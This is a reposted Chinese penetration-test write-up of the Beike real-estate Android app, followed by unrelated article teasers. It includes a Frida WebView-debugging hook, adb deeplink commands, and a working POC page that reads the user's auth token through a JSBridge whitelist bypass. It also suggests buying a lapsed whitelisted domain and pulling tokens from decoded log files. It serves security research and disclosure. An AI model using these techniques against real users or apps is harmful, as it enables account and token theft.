贝壳APP渗透测试WP

前期配置

环境说明

使用PIXEL 4手机,为Android 12系统

APP名为贝壳找房,包名com.lianjia.beike,版本号3.01.10,截至2024/05/07为最新版,小米应用市场下载

绕过反Frida机制

可以参考往期推送,《绕过最新版bilibili APP反Frida机制》,见文章末尾。Bypass.js脚本可以通用,应该都是用的某个安卓安全产品

抓包

抓包有两个地方会踩坑:1)要把Burp的证书安装为系统证书,贝壳APP不信任用户证书;2)贝壳APP默认不走系统设置的代理,要使用Drony等软件

对于问题1,可以使用Magisk的MoveCertificate模块[1]。对于问题2,Drony可在Google搜索下载,使用教程网上很多,不赘述

信息搜集

DEEPLINK

在AndroidMainfest.xml中可以看到如下SCHEME,使用lianjiabeike://等作为特征字符串即可搜集到大部分DEEPLINK

重点关注一些能发起网络请求的DEEPLINK,如下所示,调用该DEEPLINK可以指定URL打开一个WEBVIEW

在shell中打开该DEEPLINK可以使用命令am start -a android.intent.action.VIEW -W -d "lianjiabeike://web/main?url=URL编码(网页URL)"

WEB接口

配置Burp抓包后多操作一些APP功能,有意识地搜集一些WEB接口即可

落地文件

重点关注/sdcard/Android/data/com.lianjia.beike目录下的落地文件,重点关注后缀名为log, js的文件,前者可能有敏感信息泄露问题,后者可能会作为页面/代码加载执行

在/sdcard/Android/data/com.lianjia.beike/cache/lianjia/com.lianjia.beike/log/beike目录发现.xlog文件,通过搜索发现xlog是腾讯mars日志模块产生的日志文件[3],并且不是纯文本格式,需要解码

安全问题

JSBridge鉴权

鉴权实现

JSBridge鉴权绕过是经典问题了,论文[2]发表于2022年,讨论了47个顶流APP的JSBridge鉴权漏洞,发表后各厂商更进修复了一轮

贝壳的JSBridge实现方式有点不同,如下所示,只有当DOMAIN在白名单内时才会调用addJavascriptInterface注册接口。也就是先鉴权,再注册JSBridge,而其它实现方式基本上是先注册JSBridge,调用接口时再鉴权

白名单如下,对于.开头的域名,表示匹配该域名的所有子域名,对于非.开头的域名,表示只匹配该域名。

为了方便调试,首先要通过HOOK手段打开APP内WEBVIEW的调试功能,通过重写android.webkit.WebView的构造函数强制调用setWebContentsDebuggingEnabled方法打开调试功能,代码如下

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

function open_webview_debug() {

    Java.perform(function () {

        var WebView = Java.use('android.webkit.WebView');

         

        WebView.$init.overloads.forEach(function(init) {

            init.implementation = function() {

                // 调用原始构造方法

                var instance = init.apply(this, arguments);

                 

                // 打开WebView的调试功能

                WebView.setWebContentsDebuggingEnabled(true);

                 

                console.log('[*] WebView调试已开启');

                 

                // 返回实例

                return instance;

            };

        });

    });

}

然后在Chrome浏览器中点击inspect即可调试对应WEBVIEW

先通过window.location="https://ddd.ehomepay.com"切换到一个在白名单里面的域名,然后就可以调试JSBridge调用方法。如下所示,发现window.HybridBridgeLJ._getStaticData()可以获取TOKEN,在实验中发现,只需要该TOKEN,就可以请求大多数接口

页面返回绕过

我HOOK了checkDomainEffective方法,在观察日志时发现在WEBVIEW中返回上一个页面时不会调用该方法,于是想到一种可能的路径:进入PAYLOAD网页 -> 跳转至白名单URL注册JSBridge -> 返回上一个页面且保留了JSBridge。POC HTML代码及演示视频如下

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

<!DOCTYPE html>

<html lang="en">

  <head>

    <meta charset="UTF-8">

  </head>

  <body>

    <button onclick="poc()" id="go_to">POC</button>

    <script>

      function poc() {

          window.location.href = "http://jj8.ehomepay.com"

      }

      var internal = setInterval(function () {

        const token = window.HybridBridgeLJ._getStaticData()

        if (token != undefined) {

          clearInterval(internal)

          alert(token)

        }

      }, 1)

    </script>

  </body>

</html>

注册域名绕过

白名单中的域名ehomepay.com正在出售,可以直接买了接管。bkjk.cn域名似乎已经废弃不用,查询whois信息发现今年9月份过期

TOKEN写入日志

将/sdcard/Android/data/com.lianjia.beike/cache/lianjia/com.lianjia.beike/log/beike目录下的xlog拉取到本地,使用mars库提供的日志解码脚本(decode_mars_nocrypt_log_file.py)成功解码日志。注意这个脚本需要python2环境运行

解码后发现TOKEN,如下所示

只要有该TOKEN就能请求绝大多数接口了,如下图所示。部分接口还需要Authorization HEADER字段,该字段的生成算法可以在APK中找到。

HTTP明文传输COOKIE

通过ADB打开http://ke.com,发现COOKIE可以经过HTTP传输,会导致中间人攻击。adb shell am start -a android.intent.action.VIEW -W -d "lianjiabeike://web/main?url=http://ke.com"

总结

还有很多攻击面没有探索,比如DEEPLINK打开WEBVIEW时由于携带COOKIE可能会有CSRF问题,以及绑定第三方账号的接口。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/27291.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2分钟用手机开发一个ChatBot

前言&#xff1a; 在上一期&#xff0c;我们测评了CodeFlying&#xff0c;用它开发出了一个复杂推文管理系统&#xff0c;然后体验了一下它的热门应用&#xff1a;AI智能机器人。今天咱就继续用CodeFlying来开发一个属于我们自己的聊天机器人。 老规矩&#xff0c;我们先在手机…

【qt】平面CAD(计算机辅助设计 )项目 上

CAD 一.前言二.界面设计三.提升类四.接受槽函数五.实现图形action1.矩形2.椭圆3.圆形4.三角形5.梯形6.直线7.文本 六.总结 一.前言 用我们上节课刚刚学过的GraphicsView架构来绘制一个可以交互的CAD项目! 效果图: 二.界面设计 添加2个工具栏 需要蔬菜的dd我! 添加action: …

遗传算法求解车间调度问题(附python代码)

背景介绍 车间调度问题&#xff08;Job Shop Scheduling Problem, JSSP&#xff09;是一类经典的组合优化问题&#xff0c;它在制造业和生产管理中有着广泛的应用。JSSP 的目标是对车间中的一系列作业进行排程&#xff0c;以使得作业在不同机器上的加工顺序是最优的&#xff0…

万相台的功能是什么?如何使用万相台?

1.特点&#xff1a; 万相台是一个智能渠道&#xff0c;可控性弱&#xff0c;高转化&#xff0c;人群&关键词是黑盒&#xff1b; 2.场景多&#xff1a; 有拉新快、活动加速、上新快、货品加速、活动加速、多目标直投、全站推等&#xff1b; 3.扣费逻辑&#xff1a;cpc付…

Sm4【国密4加密解密】

当我们开发金融、国企、政府信息系统时&#xff0c;不仅要符合网络安全的等保二级、等保三级&#xff0c;还要求符合国密的安全要求&#xff0c;等保测评已经实行很久了&#xff0c;而国密测评近两年才刚开始。那什么是密码/国密&#xff1f;什么是密评&#xff1f;本文就关于密…

Linux:线程概念 线程控制

Linux&#xff1a;线程概念 & 线程控制 线程概念轻量级进程 LWP页表 线程控制POSIX 线程库 - ptherad线程创建pthread_createpthread_self 线程退出pthread_exitpthread_cancelpthread_joinpthread_detach 线程架构线程与地址空间线程与pthread动态库 线程的优缺点 线程概念…

机器学习与数据挖掘知识点总结(二)分类算法

目录 1、什么是数据挖掘 2、为什么要有数据挖掘 3、数据挖掘用在分类任务中的算法 朴素贝叶斯算法 svm支持向量机算法 PCA主成分分析算法 k-means算法 决策树 1、什么是数据挖掘 数据挖掘是从大量数据中发现隐藏在其中的模式、关系和规律的过程。它利用统计学、机器学…

14.shell awk数组

awk数组 awk数组awk数组示例Nginx日志分析 awk数组 1.什么是awk数组 数组其实也算是变量,传统的变量只能存储一个值,但数组可以存储多个值 2.awk数组应用场景 通常用来统计、比如:统计网站访问TOP10、网站url访问TOP10等等 3.awk数组统计技巧 1.在awk中,使用数组时,不仅可以…

Interview preparation--RabbitMQ

AMQP AMQP(Advanced Message Queueing protocol). 高级消息队列协议&#xff0c;是进程之间床底一步新消息的网络协议AMQP工作原理如下&#xff1a; 发布者&#xff08;Publisher&#xff09;发布消息&#xff08;Message&#xff09;经过交换机&#xff08;Exchange&#xff…

新视窗新一代物业管理系统 GetCertificateInfoByStudentId SQL注入漏洞复现

0x01 产品简介 新视窗物业管理系统属于专家型的物业管理软件,能够给物业公司内部管理提供全面的解决方案,具有房产管理、客户管理、租赁管理、仪表管理、财务收费、发票管理、合同管理、仓储管理、设施设备管理、客户服务管理、会员管理、人事管理、资产管理、日常办公、档案…

HTML+CSS 动态卡片

效果演示 实现了一个带有动态背景和图片放大效果的卡片展示。卡片的背景是由两种颜色交替组成的斜线条纹&#xff0c;同时背景会以一定速度循环滚动。当鼠标悬停在卡片上时&#xff0c;卡片的图片会放大&#xff0c;并且卡片的背景会变为彩色。 Code HTML <!DOCTYPE html&…

简单聊一下Oracle,MySQL,postgresql三种锁表的机制,行锁和表锁

MySQL&#xff1a; MySQL使用行级锁定和表级锁定。行级锁定允许多个会话同时写入表&#xff0c;适用于多用户、高并发和OLTP应用。表级锁定只允许一个会话一次更新表&#xff0c;适用于只读、主要读取或单用户应用。 比如mysql开启一个窗口执行 begin; update xc_county_a…

【STM32】飞控设计

【一些入门知识】 1.飞行原理 【垂直运动】 当 mg&#xff1e;F1F2F3F4&#xff0c;此时做下降加速飞行 当 mg&#xff1c;F1F2F3F4&#xff0c;此时做升高加速飞行 当 mgF1F2F3F4 &#xff0c;此时垂直上保持匀速飞行。 【偏航飞行】 ω 4 ω 2 ≠ ω 1 ω 3 就会产生水…

我的考研经历

当我写下这篇文章时&#xff0c;我已经从考研 的失败中走出来了&#xff0c;考研的整个过程都写在博客日志里面了&#xff0c;在整理并阅读考研的日志时&#xff0c;想写下一篇总结&#xff0c;也算是为了更好的吸取教训。 前期日志模板&#xff1a;时间安排的还算紧凑&#x…

【启明智显分享】Model系列工业级HMI芯片:开源RISC-V+RTOS实时系统,开放!高效!

前言 「Model系列」芯片是启明智显针对工业、行业以及车载产品市场推出的系列HMI芯片&#xff0c;主要应用于工业自动化、智能终端HMI、车载仪表盘、两轮车彩屏仪表、串口屏、智能中控、智能家居、充电桩显示屏、储能显示屏、工业触摸屏等领域。此系列具有高性能、低成本的特点…

C4D如何预览动画?C4D动画云渲染助力

C4D是一款功能丰富的3D设计软件&#xff0c;以其快速的预览渲染和多样的渲染插件而闻名&#xff0c;其卓越的渲染效果赢得了CG行业专业人士的广泛赞誉。尽管C4D的渲染功能十分强大&#xff0c;但对于初学者而言&#xff0c;其复杂的渲染设置可能会带来一些挑战。本文一起来看看…

最好用的邮箱管理软件推荐,邮箱管理软件哪个好?(干货篇)

在快节奏的工作与生活中&#xff0c;有效管理电子邮件成为提升个人与团队效率的关键。 面对海量信息流&#xff0c;一款好的邮箱管理软件不仅能够帮助我们高效地整理收件箱&#xff0c;还能确保重要邮件不会错过&#xff0c;同时提升通讯的便捷性和安全性。 本文将为您推荐几款…

Http协议JSON格式

1. 计算机网络 计算机网络是指将地理位置不同的具有独立功能的多台计算机及其外部设备&#xff0c;通过通信线路连接起来&#xff0c;在网络操作系统&#xff0c;网络管理软件及网络通信协议的管理和协调下&#xff0c;实现资源共享和信息传递的计算机系统。 思考:计算机网络…

【第三篇】SpringSecurity请求流程分析

简介 本篇文章主要分析一下SpringSecurity在系统启动的时候做了那些事情、第一次请求执行的流程是什么、以及SpringSecurity的认证流程是怎么样的,主要的过滤器有哪些? SpringSecurity初始化流程 1.加载配置文件web.xml 当Web服务启动的时候,会加载我们配置的web.xml文件…

【记录与感想】CS61b-21sp project0(2048游戏)

项目概述 本项目是cs61b课程开课以来的第一个项目&#xff0c;游戏本身非常简单。它在 44 的方格网格上进行&#xff0c;每个方格可以是空的&#xff0c;也可以包含一个带有整数&#xff08;大于或等于 2 的 2 的幂&#xff09;的图块。在第一步之前&#xff0c;应用程序会将一…